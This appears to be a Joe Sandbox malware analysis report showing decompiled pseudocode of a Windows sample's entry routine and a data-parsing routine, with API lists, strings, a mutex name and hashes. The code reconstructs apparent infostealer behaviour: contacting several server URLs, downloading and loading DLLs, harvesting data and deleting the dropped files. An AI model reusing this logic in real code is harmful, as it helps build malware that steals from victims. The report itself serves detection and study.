ile$InternetReadFileExW$InternetSetOptionW$LoadLibraryW$LocalAlloc$LocalFree$MultiByteToWideChar$Ole32.dll$OpenMutexW$OpenProcess$OpenProcessToken$PathCombineW$PathMatchSpecW$Process32First$Process32Next$ReadFile$RegCloseKey$RegEnumKeyExW$RegOpenKeyExW$RegQueryValueExW$ReleaseDC$SHGetFolderPathW$SHGetSpecialFolderPathW$SetCurrentDirectoryW$SetEnvironmentVariableW$Shell32.dll$ShellExecuteW$Shlwapi.dll$Sleep$StrCpyW$StrRChrW$StrStrA$StrStrIW$StrStrW$StrToInt64ExW$StrToIntA$StrToIntW$SystemFunction036$User32.dll$WideCharToMultiByte$WinInet.dll$WriteFile$kernel32.dll$lstrcmpA$lstrcmpW$lstrcmpiW$lstrcpyA$lstrcpynA$lstrlenA$lstrlenW$pR"p$wsprintfW
API String ID: 2238633743-2226993833
Opcode ID: e028293d92a6d1446fa316ab8758502f4985f86e5f7caba5ca57395c6088599a
Instruction ID: 478e95b91b71f65d022eb20dd3102177344006f4c0d5f92c9651a9cba786d8dc
Opcode Fuzzy Hash: e028293d92a6d1446fa316ab8758502f4985f86e5f7caba5ca57395c6088599a
Instruction Fuzzy Hash: 99125671645220EFD340DFBAEFC1E6937E8AB497003105D36B624F72A1D7B899218B5E

Uniqueness

Uniqueness Score: -1.00%

Function 0040776F Relevance: 73.9, APIs: 34, Strings: 8, Instructions: 395
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			_entry_() {
				WCHAR* _v8;
				void* _v12;
				void* _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				char _v32;
				struct HINSTANCE__* _v36;
				struct _SECURITY_ATTRIBUTES* _v40;
				char _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				char _v236;
				void* _t68;
				void* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				intOrPtr _t74;
				char _t77;
				char _t78;
				WCHAR* _t79;
				WCHAR* _t80;
				void* _t81;
				void* _t82;
				void* _t83;
				void* _t85;
				void* _t87;
				signed int _t95;
				void* _t99;
				void* _t100;
				void* _t113;
				void* _t117;
				void* _t119;
				void* _t123;
				void* _t124;
				void* _t125;
				WCHAR* _t126;
				void* _t127;
				void* _t128;
				void* _t129;
				struct HINSTANCE__* _t140;
				struct HINSTANCE__* _t142;
				void* _t151;
				struct HINSTANCE__* _t156;
				struct HINSTANCE__* _t159;
				void* _t166;
				void* _t181;
				void* _t182;
				char* _t184;
				intOrPtr _t236;
				intOrPtr _t238;
				intOrPtr _t243;
				intOrPtr _t244;
				intOrPtr _t245;
				intOrPtr _t246;
				intOrPtr _t247;
				void* _t258;
				void* _t259;
				WCHAR* _t260;
				void* _t263;
				void* _t264;
				signed int _t265;
				void* _t268;
				struct HINSTANCE__* _t269;
				void* _t271;
				void* _t272;
				void* _t273;
				intOrPtr* _t276;
				void* _t277;
				intOrPtr* _t278;

				E0040100B(); // executed
				 *0x40e064(0); // executed
				_v24 = E0040A4C2("76426c3f362f5a47a469f0e9d8bc3eef");
				E00404027();
				_t184 =  *0x40e04c;
				_t68 =  *_t184( &_v236, 0x55); // executed
				if(_t68 == 0) {
					L4:
					_t260 = L"iqroq5112542785672901323";
					_push(_t260);
					_push(0);
					_push(0x1f0001);
					if( *((intOrPtr*)( *0x40e168))() != 0) {
						ExitProcess(2); // executed
					}
					CreateMutexW(0, 0, _t260); // executed
					_t71 = E0040A0BE(); // executed
					if(_t71 != 0) {
						E0040A1FE();
					}
					_t72 = E00409FD3(0x40d998);
					_t73 = E00409FD3("                                                                ");
					_t74 = E00409FD3("                                                                ");
					_v64 = _t72;
					_v60 = _t73;
					_v56 = _t74;
					_v52 = E00409FD3("                                                                ");
					_v48 = E00409FD3("                                                                ");
					_t77 =  *0x40e314; // 0x755880
					_v32 = _t77;
					_t78 =  *0x40e204; // 0x735b80
					_v28 = 0;
					_v44 = _t78;
					_v40 = 0;
					_t79 = E00408619( &_v32);
					 *_t278 = 0x1000;
					_v8 = _t79;
					_t80 =  *((intOrPtr*)( *0x40e044))(0x40, _t184);
					_v20 = _t80;
					_t81 =  *((intOrPtr*)( *0x40e044))(0x40, 0x618);
					_t82 = E0040A5FA(); // executed
					_t258 = _t82; // executed
					_t83 = E0040A672( *0x40e044); // executed
					_t181 = _t83;
					_t85 = E0040A503( *((intOrPtr*)( *0x40e13c))(_t81,  *0x40e348), _t258);
					_t236 =  *0x40e20c; // 0x735dc0
					_t87 = E0040A503(E0040A503(_t85, _t236), _t181);
					_t238 =  *0x40e308; // 0x755f28
					_t263 = E0040A503(E0040A503(_t87, _t238), _v24);
					_v16 =  *((intOrPtr*)( *0x40e13c))(_v20, _t263);
					LocalFree(_t258);
					LocalFree(_t181);
					LocalFree(_t263);
					_t182 =  *((intOrPtr*)( *0x40e044))(0x40, 0x800);
					_t95 = 0;
					_v12 = 0;
					while(1) {
						_t264 = E0040A4C2( *((intOrPtr*)(_t277 + _t95 * 4 - 0x3c)));
						_push(_t264);
						if( *((short*)(_t264 +  *((intOrPtr*)( *0x40e08c))() * 2 - 2)) != 0x2f) {
							_t264 = E0040A503(_t264, "/");
						}
						_t99 = E00407C62(_t264, _v16, _v8,  &_v44); // executed
						_t278 = _t278 + 0xc;
						_t259 = _t99;
						_t100 =  *((intOrPtr*)( *0x40e08c))(_t259);
						_push(_t264);
						if(_t100 >= 0x40) {
							break;
						}
						LocalFree();
						if(_t259 == 0) {
							LocalFree(_t259);
						}
						_t95 = _v12 + 1;
						_v12 = _t95;
						if(_t95 < 5) {
							continue;
						} else {
							L18:
							LocalFree(_v8);
							LocalFree(_v16);
							_v8 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
							E0040A24A( &_v8);
							if(_t259 == 0) {
								L38:
								LocalFree(_v8);
								LocalFree(_t182);
								ExitProcess(0);
							}
							E0040864C(_t259, _v8); // executed
							_t265 = 0;
							_t113 =  *((intOrPtr*)( *0x40e18c))(_t259,  *0x40e418);
							if(_t113 == 0) {
								L21:
								ExitProcess(0xffffffff);
							}
							_t265 = _t113 - _t259 >> 1;
							_v12 =  *((intOrPtr*)( *0x40e044))(0x40, 0x100);
							_t117 =  *((intOrPtr*)( *0x40e08c))(_t259);
							_t37 = _t265 + 6; // 0x6
							_t119 = E0040A3E4(_t259,  &_v12, _t37, _t117); // executed
							if(_t119 != 0) {
								_t182 = E0040A503(_t182, _v12);
								LocalFree(_v12);
								_t123 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t124 =  *((intOrPtr*)( *0x40e13c))(_t123, _v8);
								_t243 =  *0x40e258; // 0x735c80
								_t125 = E0040A503(_t124, _t243);
								_t244 =  *0x40e370; // 0x74e538
								_t126 = E0040A503(_t125, _t244);
								_v20 = _t126;
								_t127 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
								_t128 =  *((intOrPtr*)( *0x40e13c))(_t127, _v8);
								_t245 =  *0x40e258; // 0x735c80
								_t129 = E0040A503(_t128, _t245);
								_t246 =  *0x40e454; // 0x755ef8
								_v24 = E0040A503(_t129, _t246);
								SetCurrentDirectoryW(_v8); // executed
								GetEnvironmentVariableW( *0x40e2e0,  *((intOrPtr*)( *0x40e044))(0x40, 0x5000), 0x2800);
								_t247 =  *0x40e1e8; // 0x735bc0
								_t220 = E0040A503(_t132, _t247);
								_t268 = E0040A503(_t134, _v8);
								SetEnvironmentVariableW( *0x40e2e0, _t268);
								LocalFree(_t268);
								E00409906(_t259, _t182); // executed
								_t140 = LoadLibraryW(_v24); // executed
								_v28 = _t140;
								if(_t140 != 0) {
									E00403F9D(_t220, _t140, _t259, _t182); // executed
								}
								_t142 = LoadLibraryW(_v20); // executed
								_t269 = _t142;
								_v36 = _t269;
								if(_t269 != 0) {
									_t166 =  *((intOrPtr*)( *0x40e044))(0x40, 0x208);
									_v16 = _t166;
									 *0x40e0c4(0, _t166, 0x1a, 0);
									if(E004065D8(_t269) == 0) {
										_t273 = _v16;
									} else {
										_t273 = _v16;
										E0040633E(_t273, _t182, _t269, 0); // executed
									}
									LocalFree(_t273);
								}
								E0040A7DA(_t182); // executed
								E0040ABD8(_t259, _t182); // executed
								E004055B6(_t182); // executed
								E00409BD9(_t259, _t182); // executed
								E00404F7E(_t259, _t182);
								_t151 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t259) + _t149); // executed
								_v12 = _t151;
								if(E00408A42(_t259,  &_v12) > 0) {
									E00408ADD(_v12, _t182); // executed
								}
								LocalFree(_v12);
								E004073C7();
								_t156 = _v36;
								if(_t156 != 0) {
									FreeLibrary(_t156); // executed
								}
								_t271 = _v20;
								DeleteFileW(_t271); // executed
								LocalFree(_t271);
								_t159 = _v28;
								if(_t159 != 0) {
									FreeLibrary(_t159); // executed
								}
								_t272 = _v24;
								DeleteFileW(_t272); // executed
								LocalFree(_t272);
								LocalFree(_t259);
								goto L38;
							} else {
								ExitProcess(0xfffffffe);
							}
							goto L21;
						}
					}
					_t182 =  *((intOrPtr*)( *0x40e13c))(_t182);
					LocalFree(_t264);
					goto L18;
				}
				_t276 = 0x40e4d8;
				while(1) {
					_push( *_t276);
					_t184 =  &_v236;
					_push(_t184);
					if( *((intOrPtr*)( *0x40e170))() != 0) {
						goto L4;
					}
					_t276 = _t276 + 4;
					if(_t276 != 0x40e4dc) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}

0x0040777b
0x00407783
0x00407793
0x00407796
0x0040779b
0x004077aa
0x004077ae
0x004077d4
0x004077d9
0x004077de
0x004077df
0x004077e0
0x004077e9
0x004077f8
0x004077f8
0x004077ee
0x004077fe
0x00407805
0x00407807
0x00407807
0x00407812
0x0040781e
0x0040782a
0x00407834
0x00407837
0x0040783a
0x00407847
0x0040784f
0x00407855
0x0040785a
0x0040785d
0x00407862
0x00407865
0x00407868
0x0040786b
0x00407876
0x0040787f
0x00407882
0x00407891
0x00407894
0x00407898
0x0040789d
0x0040789f
0x004078b0
0x004078b9
0x004078be
0x004078cf
0x004078d4
0x004078f1
0x004078fa
0x004078fd
0x00407904
0x0040790b
0x00407920
0x00407922
0x00407924
0x00407927
0x00407936
0x00407938
0x00407941
0x0040794f
0x0040794f
0x0040795d
0x00407968
0x0040796b
0x0040796e
0x00407970
0x00407974
0x00000000
0x00000000
0x00407976
0x0040797e
0x00407981
0x00407981
0x0040798a
0x0040798b
0x00407991
0x00000000
0x00407993
0x004079a6
0x004079a9
0x004079b2
0x004079c9
0x004079cc
0x004079d3
0x00407c45
0x00407c48
0x00407c4f
0x00407c57
0x00407c57
0x004079de
0x004079ee
0x004079f1
0x004079f5
0x004079ff
0x00407a01
0x00407a01
0x004079fb
0x00407a15
0x00407a1e
0x00407a21
0x00407a2a
0x00407a33
0x00407a4a
0x00407a4c
0x00407a5f
0x00407a6b
0x00407a6d
0x00407a75
0x00407a7a
0x00407a82
0x00407a90
0x00407a93
0x00407a9f
0x00407aa1
0x00407aa9
0x00407aae
0x00407abe
0x00407ac1
0x00407ae4
0x00407aea
0x00407afa
0x00407b01
0x00407b0a
0x00407b11
0x00407b19
0x00407b26
0x00407b28
0x00407b2d
0x00407b33
0x00407b39
0x00407b42
0x00407b44
0x00407b46
0x00407b4b
0x00407b5a
0x00407b63
0x00407b66
0x00407b75
0x00407b8a
0x00407b77
0x00407b7a
0x00407b81
0x00407b87
0x00407b8e
0x00407b8e
0x00407b98
0x00407ba1
0x00407baa
0x00407bb3
0x00407bbc
0x00407bd4
0x00407bd6
0x00407be5
0x00407beb
0x00407beb
0x00407bf3
0x00407bfb
0x00407c00
0x00407c05
0x00407c08
0x00407c08
0x00407c0e
0x00407c12
0x00407c19
0x00407c1f
0x00407c24
0x00407c27
0x00407c27
0x00407c2d
0x00407c31
0x00407c38
0x00407c3f
0x00000000
0x00407a35
0x00407a37
0x00407a37
0x00000000
0x00407a33
0x00407991
0x0040799e
0x004079a0
0x00000000
0x004079a0
0x004077b0
0x004077b5
0x004077b5
0x004077bc
0x004077c2
0x004077c7
0x00000000
0x00000000
0x004077c9
0x004077d2
0x00000000
0x00000000
0x00000000
0x004077d2
0x00000000

APIs

Part of subcall function 0040100B: LoadLibraryW.KERNEL32(kernel32.dll,?,?,00407780), ref: 00401016
Part of subcall function 0040100B: GetProcAddress.KERNEL32(00000000,LoadLibraryW), ref: 00401036
Part of subcall function 0040100B: LoadLibraryW.KERNEL32(Shlwapi.dll,?,?,?,?,?,00407780), ref: 00401042
Part of subcall function 0040100B: LoadLibraryW.KERNEL32(Ole32.dll,?,?,?,?,?,00407780), ref: 00401051
Part of subcall function 0040100B: LoadLibraryW.KERNEL32(WinInet.dll,?,?,?,?,?,00407780), ref: 00401061
Part of subcall function 0040100B: LoadLibraryW.KERNEL32(Crypt32.dll,?,?,?,?,?,00407780), ref: 00401091
Part of subcall function 0040100B: LoadLibraryW.KERNEL32(Shell32.dll,?,?,?,?,?,00407780), ref: 004010A1
Part of subcall function 0040100B: LoadLibraryW.KERNEL32(Bcrypt.dll,?,?,?,?,?,00407780), ref: 004010AA
Part of subcall function 0040100B: GetProcAddress.KERNEL32(?,GetProcAddress), ref: 004010B8

CoInitialize.OLE32(00000000), ref: 00407783

Part of subcall function 0040A4C2: LocalAlloc.KERNEL32(00000040,?,?,?,00000000,00407793), ref: 0040A4E1
Part of subcall function 0040A4C2: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,76426c3f362f5a47a469f0e9d8bc3eef,000000FF,00000000,00000000,?,?,?,00000000,00407793), ref: 0040A4F1

CreateMutexW.KERNEL32(00000000,00000000,iqroq5112542785672901323), ref: 004077EE
ExitProcess.KERNEL32 ref: 004077F8
LocalFree.KERNEL32(00000000), ref: 004078FD
LocalFree.KERNEL32(00000000), ref: 00407904
LocalFree.KERNEL32(00000000), ref: 0040790B
LocalFree.KERNEL32(00000000), ref: 00407976
LocalFree.KERNEL32(00000000), ref: 00407981
LocalFree.KERNEL32(00000000), ref: 004079A0
LocalFree.KERNEL32(?), ref: 004079A9
LocalFree.KERNEL32(?), ref: 004079B2
ExitProcess.KERNEL32 ref: 00407A01
ExitProcess.KERNEL32 ref: 00407A37

Strings

, xrefs: 00407817
, xrefs: 0040782F
iqroq5112542785672901323, xrefs: 004077D9, 004077DE, 004077EB
(_u, xrefs: 004078D4
, xrefs: 00407823
, xrefs: 00407842
8t, xrefs: 00407A7A
76426c3f362f5a47a469f0e9d8bc3eef, xrefs: 00407789

Memory Dump Source

Source File: 00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.503023573.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_F0geI.jbxd

Yara matches

Similarity

API ID: Local$Free$LibraryLoad$ExitProcess$AddressProc$AllocByteCharCreateInitializeMultiMutexWide
String ID: $ $ $ $(_u$76426c3f362f5a47a469f0e9d8bc3eef$8t$iqroq5112542785672901323
API String ID: 1492179042-2799289165
Opcode ID: a44a232601d100edc6d36baaf6ddad01d88e14460ec27d44710cd718beb1410e
Instruction ID: e92a4b87a1a530e7256a75f8bb231f7b298302859da8ec0d9ad369049daf7dae
Opcode Fuzzy Hash: a44a232601d100edc6d36baaf6ddad01d88e14460ec27d44710cd718beb1410e
Instruction Fuzzy Hash: 25D18571E00214ABDB04ABB6DE49E6E77B5AF48310B10483AF905B73D1DF78AD118B5E

Uniqueness

Uniqueness Score: -1.00%

Function 004055B6 Relevance: 60.5, APIs: 48, Instructions: 476
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 38%

			E004055B6(short* __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v32;
				void* _v36;
				signed int _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				short* _v56;
				signed int _v60;
				char _v64;
				void* __ecx;
				void* _t117;
				void* _t124;
				void* _t131;
				void* _t138;
				void* _t147;
				void* _t156;
				void* _t162;
				void* _t167;
				void* _t181;
				void* _t194;
				void* _t195;
				void* _t209;
				void* _t210;
				void* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t226;
				void* _t228;
				void* _t229;
				void* _t230;
				char _t274;
				void* _t289;
				void* _t291;
				void* _t295;
				void* _t296;
				void* _t298;
				void* _t300;
				void* _t302;
				void* _t304;
				void* _t306;
				void* _t308;
				int _t309;
				void* _t311;
				void* _t314;
				signed int _t317;
				void* _t319;
				signed int _t321;
				void* _t323;
				signed int _t325;
				void* _t327;
				signed int _t329;
				void* _t331;
				signed int _t333;
				void* _t335;
				signed int _t337;
				void* _t339;
				signed int _t341;
				void* _t344;
				void* _t345;
				void* _t347;
				void* _t348;

				_v56 = __edx;
				_t295 =  *((intOrPtr*)( *0x40e18c))(_t230,  *0x40e250);
				if(_t295 == 0) {
					L42:
					return 0;
				}
				while(1) {
					_t296 = _t295 + 0xa;
					_t117 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t296) + _t115);
					_t226 = _t117;
					_v8 = _t226;
					_t314 =  *((intOrPtr*)( *0x40e18c))(_t296,  *0x40e1f0);
					if(_t314 == 0) {
						break;
					}
					_t317 = _t314 - _t296 >> 1;
					if(E0040A3E4(_t296,  &_v8, 0, _t317) == 0) {
						_t226 = _v8;
						break;
					}
					_t298 = _t296 + _t317 * 2 + 2;
					_t124 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t298) + _t122);
					_t226 = _t124;
					_v12 = _t226;
					_t319 =  *((intOrPtr*)( *0x40e18c))(_t298,  *0x40e20c);
					if(_t319 == 0) {
						L37:
						LocalFree(_v8);
						L29:
						break;
					}
					_t321 = _t319 - _t298 >> 1;
					if(E0040A3E4(_t298,  &_v12, 0, _t321) == 0) {
						_t226 = _v12;
						goto L37;
					}
					_t300 = _t298 + _t321 * 2 + 2;
					_t131 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t300) + _t129);
					_t226 = _t131;
					_v16 = _t226;
					_t323 =  *((intOrPtr*)( *0x40e18c))(_t300,  *0x40e20c);
					if(_t323 == 0) {
						L35:
						LocalFree(_v8);
						LocalFree(_v12);
						goto L29;
					}
					_t325 = _t323 - _t300 >> 1;
					if(E0040A3E4(_t300,  &_v16, 0, _t325) == 0) {
						_t226 = _v16;
						goto L35;
					}
					_t302 = _t300 + _t325 * 2 + 2;
					_t138 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t302) + _t136);
					_t228 = _t138;
					_v20 = _t228;
					_t327 =  *((intOrPtr*)( *0x40e18c))(_t302,  *0x40e20c);
					if(_t327 == 0) {
						L33:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_t228);
						LocalFree(_v16);
						L40:
						L41:
						goto L42;
					}
					_t329 = _t327 - _t302 >> 1;
					if(E0040A3E4(_t302,  &_v20, 0, _t329) == 0) {
						_t228 = _v20;
						goto L33;
					}
					_t304 = _t302 + _t329 * 2 + 2;
					_t147 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t304) + _t145);
					_t226 = _t147;
					_v24 = _t226;
					_t331 =  *((intOrPtr*)( *0x40e18c))(_t304,  *0x40e20c);
					if(_t331 == 0) {
						L31:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						goto L29;
					}
					_t333 = _t331 - _t304 >> 1;
					if(E0040A3E4(_t304,  &_v24, 0, _t333) == 0) {
						_t226 = _v24;
						goto L31;
					}
					_t306 = _t304 + _t333 * 2 + 2;
					_t156 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t306) + _t154);
					_t226 = _t156;
					_v32 = _t226;
					_t335 =  *((intOrPtr*)( *0x40e18c))(_t306,  *0x40e20c);
					if(_t335 == 0) {
						L28:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v20);
						LocalFree(_v24);
						goto L29;
					}
					_t337 = _t335 - _t306 >> 1;
					_t162 = E0040A3E4(_t306,  &_v32, 0, _t337);
					_t226 = _v32;
					if(_t162 == 0) {
						goto L28;
					}
					_t308 = _t306 + _t337 * 2 + 2;
					_v44 =  *_t226 & 0x0000ffff;
					_t167 = LocalAlloc(0x40,  *((intOrPtr*)( *0x40e08c))(_t308) + _t165);
					_v28 = _t167;
					_t339 =  *((intOrPtr*)( *0x40e18c))(_t308,  *0x40e20c);
					if(_t339 == 0) {
						L27:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_t226);
						LocalFree(_v28);
						goto L40;
					}
					_t341 = _t339 - _t308 >> 1;
					if(E0040A3E4(_t308,  &_v28, 0, _t341) == 0) {
						goto L27;
					}
					_t229 = _t308 + (_t341 + 1) * 2;
					_v48 =  *_v28 & 0x0000ffff;
					_push( *((intOrPtr*)( *0x40e08c))(_t229) + _t179);
					_t309 = 0x40;
					_t181 = LocalAlloc(_t309, ??);
					_push( *0x40e228);
					_t344 = _t181;
					_push(_t229);
					_v36 = _t344;
					if( *((intOrPtr*)( *0x40e18c))() == 0) {
						L26:
						LocalFree(_v8);
						LocalFree(_v12);
						LocalFree(_v16);
						LocalFree(_v24);
						LocalFree(_v20);
						LocalFree(_v32);
						LocalFree(_v28);
						LocalFree(_t344);
						goto L40;
					}
					if(E0040A3E4(_t229,  &_v36, 0, _t182 - _t229 >> 1) == 0) {
						_t344 = _v36;
						goto L26;
					}
					_v40 = _v40 & 0x00000000;
					_t194 = LocalAlloc(_t309, 0x28000); // executed
					_t345 = _t194;
					_v52 = _t345;
					_t195 =  *((intOrPtr*)( *0x40e074))(_v24);
					_push( &_v40);
					_push(_t345);
					_t289 = 0x31;
					_push(0 | _v48 == _t289);
					_push(0 | _v44 == _t289);
					_push(_t195);
					_push(_v20);
					_push(_v16);
					_push(_v12);
					E00405FEB(_v36, _v8); // executed
					_t348 = _t348 + 0x20;
					if(_v40 > 0) {
						_t209 =  *((intOrPtr*)( *0x40e044))(_t309, 0x208);
						_t210 =  *((intOrPtr*)( *0x40e044))(_t309, 0x208);
						_t291 = 0x10;
						_t211 = E0040A05F(_t209, _t291);
						_v48 = _t211;
						_t212 =  *((intOrPtr*)( *0x40e13c))(_t210,  *0x40e210);
						_t311 = _v48;
						_t213 = E0040A503(_t212, _t311);
						_t274 =  *0x40e204; // 0x735b80
						_v60 = _v60 & 0x00000000;
						_v64 = _t274;
						_v48 = _t213;
						_t214 = E00408619( &_v48);
						_v44 = _t214;
						_t347 =  *((intOrPtr*)( *0x40e044))(0x40, 0x184);
						 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t311, 0xffffffff, 0, 0, 0, 0);
						if(0 != 0) {
							 *((intOrPtr*)( *0x40e0e4))(0xfde9, 0, _t311, 0xffffffff, _t347, 0, 0, 0);
							if(0 != 0) {
								E00407EDB(_v56, _t347, 0, 0, _v40, _v52, _v44,  &_v64);
								_t348 = _t348 + 0x18;
							}
						}
						LocalFree(_t347);
						LocalFree(_v44);
						LocalFree(_v48);
						LocalFree(_t311);
						_t345 = _v52;
					}
					LocalFree(_t345); // executed
					LocalFree(_v8);
					LocalFree(_v12);
					LocalFree(_v16);
					LocalFree(_v20);
					LocalFree(_v24);
					LocalFree(_v32);
					LocalFree(_v28);
					LocalFree(_v36);
					_t295 =  *((intOrPtr*)( *0x40e18c))(_t229,  *0x40e250);
					if(_t295 != 0) {
						continue;
					} else {
						goto L41;
					}
				}
				LocalFree(_t226);
				goto L40;
			}

0x004055c8
0x004055ce
0x004055d2
0x00405b56
0x00405b5a
0x00405b5a
0x004055da
0x004055df
0x004055f0
0x004055fe
0x00405601
0x00405606
0x0040560a
0x00000000
0x00000000
0x00405615
0x00405625
0x00405b4a
0x00000000
0x00405b4a
0x00405639
0x00405644
0x00405652
0x00405655
0x0040565a
0x0040565e
0x00405b45
0x00405ae5
0x00405ae5
0x00000000
0x00405ae5
0x00405669
0x00405679
0x00405b42
0x00000000
0x00405b42
0x0040568d
0x00405698
0x004056a6
0x004056a9
0x004056ae
0x004056b2
0x00405b34
0x00405b37
0x00405ae5
0x00000000
0x00405ae5
0x004056bd
0x004056cd
0x00405b31
0x00000000
0x00405b31
0x004056e1
0x004056ec
0x004056fa
0x004056fd
0x00405702
0x00405706
0x00405b13
0x00405b16
0x00405b1f
0x00405b26
0x00405b4e
0x00405b4e
0x00405b54
0x00000000
0x00405b55
0x00405711
0x00405721
0x00405b10
0x00000000
0x00405b10
0x00405735
0x00405740
0x0040574e
0x00405751
0x00405756
0x0040575a
0x00405af0
0x00405af3
0x00405afc
0x00405b05
0x00405ae5
0x00000000
0x00405ae5
0x00405765
0x00405775
0x00405aed
0x00000000
0x00405aed
0x00405789
0x00405794
0x004057a2
0x004057a5
0x004057aa
0x004057ae
0x00405abe
0x00405ac1
0x00405aca
0x00405ad3
0x00405adc
0x00405ae5
0x00000000
0x00405ae5
0x004057b9
0x004057c0
0x004057c5
0x004057cc
0x00000000
0x00000000
0x004057de
0x004057e1
0x004057f1
0x00405800
0x00405805
0x00405809
0x00405a82
0x00405a85
0x00405a8e
0x00405a97
0x00405aa0
0x00405aa9
0x00405ab0
0x00405b4e
0x00000000
0x00405b4e
0x00405814
0x00405824
0x00000000
0x00000000
0x00405831
0x0040583a
0x00405847
0x0040584a
0x0040584c
0x0040584e
0x0040585a
0x0040585c
0x0040585d
0x00405864
0x00405a3d
0x00405a40
0x00405a49
0x00405a52
0x00405a5b
0x00405a64
0x00405a6d
0x00405a76
0x00405b4e
0x00000000
0x00405b4e
0x0040587f
0x00405a3a
0x00000000
0x00405a3a
0x0040588a
0x00405894
0x0040589f
0x004058a1
0x004058a4
0x004058a9
0x004058aa
0x004058ad
0x004058b7
0x004058c4
0x004058c8
0x004058c9
0x004058cc
0x004058cf
0x004058d2
0x004058d7
0x004058de
0x004058ef
0x004058ff
0x00405903
0x00405908
0x0040591a
0x0040591d
0x0040591f
0x00405926
0x0040592b
0x00405931
0x00405935
0x0040593b
0x0040593e
0x00405950
0x0040595b
0x0040596c
0x00405970
0x00405987
0x0040598b
0x004059a3
0x004059a8
0x004059a8
0x0040598b
0x004059ac
0x004059b5
0x004059be
0x004059c5
0x004059cb
0x004059cb
0x004059cf
0x004059d8
0x004059e1
0x004059ea
0x004059f3
0x004059fc
0x00405a05
0x00405a0e
0x00405a17
0x00405a2b
0x00405a2f
0x00000000
0x00405a35
0x00000000
0x00405a35
0x00405a2f
0x00405b4e
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 004055F0
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405B4E

Part of subcall function 0040A3E4: LocalAlloc.KERNEL32(00000040,00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A40C
Part of subcall function 0040A3E4: LocalFree.KERNEL32(00000000,?,0040870A,00000000,00000000,?,?,?,?,?,?,004079E3), ref: 0040A449

LocalAlloc.KERNEL32(00000040,00000000), ref: 00405644
LocalAlloc.KERNEL32(00000040,00000000), ref: 00405698
LocalAlloc.KERNEL32(00000040,00000000), ref: 004056EC
LocalAlloc.KERNEL32(00000040,00000000), ref: 00405740
LocalAlloc.KERNEL32(00000040,00000000), ref: 00405794
LocalAlloc.KERNEL32(00000040,00000000), ref: 004057F1
LocalAlloc.KERNEL32(00000040,00000000), ref: 0040584C
LocalAlloc.KERNEL32(00000040,00028000), ref: 00405894

Part of subcall function 00405FEB: lstrlenW.KERNEL32(00735A80,?,?,?,?,?,?,?,?,?,?,?,004058D7,?,?,?), ref: 00406137

LocalFree.KERNEL32(00000000), ref: 004059AC
LocalFree.KERNEL32(?), ref: 004059B5
LocalFree.KERNEL32(?), ref: 004059BE
LocalFree.KERNEL32(?), ref: 004059C5

Part of subcall function 00407EDB: LocalAlloc.KERNEL32(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,00409B89,00000001,?,00000000,00000000,?), ref: 00407EF5
Part of subcall function 00407EDB: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00409B89,00000001,?,00000000), ref: 00407F9B

LocalFree.KERNELBASE(00000000), ref: 004059CF
LocalFree.KERNEL32(00407BAF), ref: 004059D8
LocalFree.KERNEL32(?), ref: 004059E1
LocalFree.KERNEL32(?), ref: 004059EA
LocalFree.KERNEL32(?), ref: 004059F3
LocalFree.KERNEL32(?), ref: 004059FC
LocalFree.KERNEL32(?), ref: 00405A05
LocalFree.KERNEL32(?), ref: 00405A0E
LocalFree.KERNEL32(?), ref: 00405A17

Part of subcall function 0040A503: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00408633), ref: 0040A516
Part of subcall function 0040A503: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A51D
Part of subcall function 0040A503: LocalAlloc.KERNEL32(00000040,00000000,?,00000000,?,00000000,00000000,?,00408633), ref: 0040A533
Part of subcall function 0040A503: GlobalFree.KERNEL32(?), ref: 0040A550

Part of subcall function 00408619: LocalAlloc.KERNEL32(00000040,0000FF78,00000000,00407870), ref: 00408628

LocalFree.KERNEL32(00407BAF,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A40
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A49
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00407BAF), ref: 00405A52
